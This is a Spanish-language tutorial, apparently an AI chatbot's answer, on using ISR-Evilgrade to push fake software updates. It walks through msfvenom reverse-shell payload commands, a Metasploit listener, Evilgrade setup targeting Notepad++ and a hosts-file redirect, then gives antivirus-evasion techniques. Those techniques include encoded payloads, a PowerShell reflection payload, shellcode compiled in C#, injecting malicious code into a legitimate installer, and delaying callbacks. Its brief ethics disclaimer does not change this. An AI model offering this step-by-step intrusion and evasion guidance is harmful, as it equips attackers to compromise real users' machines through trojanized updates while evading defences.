ISR-Evilgrade: Pentesting de Actualizaciones de Software
ISR-Evilgrade: Pentesting de Actualizaciones de Software
ISR-Evilgrade es una herramienta clásica en el mundo del pentesting (pruebas de penetración) diseñada para explotar las debilidades en los procesos de actualización de software.
Aquí tienes un resumen detallado de qué es, cómo funciona y su situación actual en Kali Linux.
¿Qué es ISR-Evilgrade?
Es un framework modular que permite a un atacante inyectar actualizaciones falsas en aplicaciones que no verifican correctamente la autenticidad o integridad de sus paquetes de actualización (por ejemplo, mediante firmas digitales).
Objetivo: Engañar al software legítimo para que descargue y ejecute un binario malicioso (agente) en lugar de la actualización real.
Mecanismo: Actúa como un servidor web que entrega el "payload" cuando la aplicación consulta si hay actualizaciones.
Módulos: Incluye módulos para aplicaciones conocidas (históricamente como Notepad++, WinZip, iTunes, etc.).
Cómo funciona el ataque (Escenario típico)
Para que Evilgrade funcione, el atacante debe estar en una posición donde pueda redirigir el tráfico de la víctima hacia su propia máquina. Generalmente se usa en combinación con:
DNS Spoofing: Rediriges el dominio de actualización (ej.
updates.software.com) a la IP de tu máquina con Kali.Man-in-the-Middle (MitM): Interceptas la conexión para que la víctima crea que está hablando con el servidor oficial.
Ejecución: Evilgrade detecta la petición, sirve el archivo malicioso, y la aplicación de la víctima lo instala.
Uso básico en Kali Linux
Aunque es una herramienta antigua, sigue estando disponible en los repositorios o vía GitHub.
Instalación:
Bashsudo apt update sudo apt install isr-evilgradeIniciar la consola:
BashevilgradeComandos principales:
show modules: Lista todos los programas que puedes atacar.set module [nombre]: Selecciona el software objetivo.show options: Ver la configuración (IP del servidor, puerto, ruta del agente).set agent [ruta_al_malware]: Aquí defines el archivo que la víctima descargará (usualmente un ejecutable creado conmsfvenom).start: Inicia el servidor de actualizaciones falso.
⚠️ Estado Actual y Advertencia
Es importante que sepas que ISR-Evilgrade ya no es tan efectivo como antes.
Hoy en día, la mayoría del software moderno utiliza HTTPS con validación de certificados y firmas digitales en sus binarios. Si la aplicación intenta descargar una actualización y el certificado no coincide o el archivo no está firmado por el desarrollador original, la actualización fallará.
Nota Ética: Utiliza esta herramienta únicamente en entornos controlados de laboratorio o con permiso explícito. El acceso no autorizado a sistemas es ilegal.
Vamos a preparar un escenario de laboratorio. El objetivo es que entiendas el flujo completo: desde que creas el archivo malicioso (payload) hasta que configuras Evilgrade para entregarlo.
Para este ejemplo, simularemos que la víctima descarga una actualización que, al ejecutarse, nos devuelve una shell reversa (control remoto).
Paso 1: Generar el Payload con Metasploit
Primero, necesitamos el archivo que "engañará" al sistema. Usaremos msfvenom para crear un ejecutable de Windows que se conecte de vuelta a tu IP.
En tu terminal de Kali, escribe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[TU_IP_KALI] LPORT=4444 -f exe -o update.exe
Sustituye
[TU_IP_KALI]por tu dirección IP local (puedes verla conip a).
Paso 2: Configurar el Receptor (Listener)
Necesitamos que Metasploit esté escuchando para recibir la conexión cuando la víctima ejecute el archivo.
Abre una nueva terminal y escribe:
msfconsoleConfigura el manejador:
Bashuse exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST [TU_IP_KALI] set LPORT 4444 exploit -j(El parámetro
-jlo deja corriendo en segundo plano).
Paso 3: Configurar ISR-Evilgrade
Ahora configuramos el servidor de actualizaciones falso para que entregue nuestro update.exe.
Inicia la herramienta:
evilgradeSelecciona un módulo (por ejemplo, el de Notepad++ que es un clásico):
Bashset module notepadplusConfigura el agente (la ruta al archivo que creamos en el Paso 1):
Bashset agent /ruta/a/tu/archivo/update.exeInicia el servidor:
Bashstart
Paso 4: El eslabón perdido (Redirección DNS)
Para que esto funcione en la vida real, la víctima debe llegar a tu IP cuando busque el servidor de actualizaciones. En un laboratorio, puedes simular esto editando el archivo hosts de la máquina víctima (Windows):
Ruta:
C:\Windows\System32\drivers\etc\hostsAñade una línea:
[TU_IP_KALI] notepad-plus-plus.org
Resumen del flujo
| Actor | Acción |
| Atacante (Kali) | Ejecuta Evilgrade y espera con Metasploit. |
| Víctima | Abre Notepad++ y busca actualizaciones. |
| Red | El DNS redirige la petición a tu Kali en lugar de a la web real. |
| Evilgrade | Entrega tu update.exe camuflado. |
| Resultado | La víctima ejecuta la "actualización" y tú obtienes una sesión de Meterpreter. |
💡 Nota importante sobre Windows Defender
Si intentas esto en un Windows 10 u 11 moderno, Windows Defender detectará el payload de msfvenom al instante porque su firma es muy conocida. Para un laboratorio exitoso, asegúrate de desactivar el antivirus en la máquina de prueba o intenta usar técnicas de evasión (como codificación o herramientas como Villain o Havoc).
Para que un ataque con ISR-Evilgrade funcione en un entorno moderno, el mayor obstáculo no es la red, sino el Antivirus (AV). Si usas un ejecutable estándar de msfvenom, Windows Defender lo borrará en milisegundos.
Aquí te explico las tres estrategias principales para que tu "actualización" no sea detectada:
1. Encriptación y Ofuscación (Msfvenom Avanzado)
En lugar de un .exe simple, podemos intentar que el código sea más difícil de leer para el AV usando múltiples iteraciones de un "encoder".
Comando mejorado:
Bashmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[TU_IP] LPORT=4444 -e x64/zutto_dekiru -i 10 -f exe -o update_encoded.exe-e: Usa un encoder específico.-i 10: Procesa el archivo 10 veces para cambiar su firma.Nota: Hoy en día, los encoders por sí solos suelen ser insuficientes contra firmas heurísticas.
2. Uso de Frameworks de Evasión (Recomendado)
Existen herramientas diseñadas específicamente para generar payloads que pasan desapercibidos. Dos de las más populares actualmente son:
Villain: Crea puertas traseras (backdoors) muy difíciles de detectar que usan protocolos menos comunes.
Havoc C2: Es un framework moderno (sustituto de Cobalt Strike en muchos casos) que genera "daemons" que duermen y se despiertan para evitar el análisis de comportamiento del AV.
Shelter: Es una herramienta de inyección de código dinámico. Toma un ejecutable legítimo (por ejemplo, el instalador real de Notepad++) e inyecta tu código malicioso dentro de él. El AV ve un archivo firmado y "real", pero tu código corre en segundo plano.
3. "Living off the Land" (Ataques sin archivos)
En lugar de enviar un .exe, puedes configurar Evilgrade para que ejecute un comando de PowerShell o un script de Windows Script Host (.vbs o .js).
El antivirus suele ser más permisivo con scripts de sistema que con archivos ejecutables desconocidos.
Puedes generar un payload en formato PowerShell con Metasploit:
Bashmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[TU_IP] LPORT=4444 -f psh-reflection -o update.ps1
🛠️ Configuración Práctica de Evasión
Si quieres algo que funcione "fuera de la caja" en un laboratorio con Windows Defender activado, te sugiero usar Inyeccion de Shellcode en C#:
Generas el shellcode en formato C# con
msfvenom(-f csharp).Lo compilas en un pequeño programa de C# (puedes usar el compilador
csc.exeque viene en Windows).Ese binario resultante suele tener una tasa de detección mucho menor que los generados automáticamente por Kali.
Un consejo de "Hacker Ético":
La mejor forma de evadir un AV no es esconder el virus, sino hacer que el comportamiento parezca legítimo. Por ejemplo, que el programa se conecte a la IP de Kali solo después de 5 minutos de inactividad del usuario.